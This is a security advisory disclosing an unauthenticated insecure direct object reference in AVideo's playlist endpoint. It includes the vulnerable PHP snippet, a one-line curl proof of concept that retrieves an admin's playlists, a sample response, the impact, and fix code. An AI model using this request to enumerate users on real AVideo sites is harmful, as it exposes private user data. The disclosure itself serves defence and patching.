AVideo has Unauthenticated IDOR - Playlist Information Disclosure

Product: AVideo (https://github.com/WWBN/AVideo) Version: Latest (tested March 2026) Type: Insecure Direct Object Reference (IDOR) Auth Required: No User Interaction: None

Summary

The /objects/playlistsFromUser.json.php endpoint returns all playlists for any user without requiring authentication or authorization. An unauthenticated attacker can enumerate user IDs and retrieve playlist information including playlist names, video IDs, and playlist status for any user on the platform.

Root Cause

The endpoint accepts a users_id parameter and directly queries the database without any authentication or authorization check. File: objects/playlistsFromUser.json.php

if (empty($_GET['users_id'])) {
    die("You need a user");
}
// NO AUTHENTICATION CHECK
// NO AUTHORIZATION CHECK (does this user_id belong to the requester?)
$row = PlayList::getAllFromUser($_GET['users_id'], false);
echo json_encode($row);

There is no call to User::isLogged() or any comparison between the requesting user and the target users_id.

Affected Code

Proof of Concept

Retrieve admin's playlists (user ID 1)

curl "https://TARGET/objects/playlistsFromUser.json.php?users_id=1"

Response:

[
  {"id":false,"name":"Watch Later","status":"watch_later","users_id":1},
  {"id":false,"name":"Favorite","status":"favorite","users_id":1}
]

<img width="1805" height="365" alt="image" src="https://github.com/user-attachments/assets/a13c9c2f-29be-4399-98d2-7570ca30465a" />

Impact

• Privacy violation — any visitor can see all users' playlist names and contents
• User enumeration — valid user IDs can be discovered by iterating through IDs
• Information gathering — playlist names and video IDs reveal user interests and private content preferences
• Targeted attacks — gathered information can be used for social engineering or further exploitation

Remediation

Add authentication and authorization checks:

// Option 1: Require authentication + only own playlists
if (!User::isLogged()) {
    die(json_encode(['error' => 'Authentication required']));
}
if ($_GET['users_id'] != User::getId() && !User::isAdmin()) {
    die(json_encode(['error' => 'Access denied']));
}

// Option 2: If public playlists are intended, filter by visibility
$row = PlayList::getAllFromUser($_GET['users_id'], false, 'public');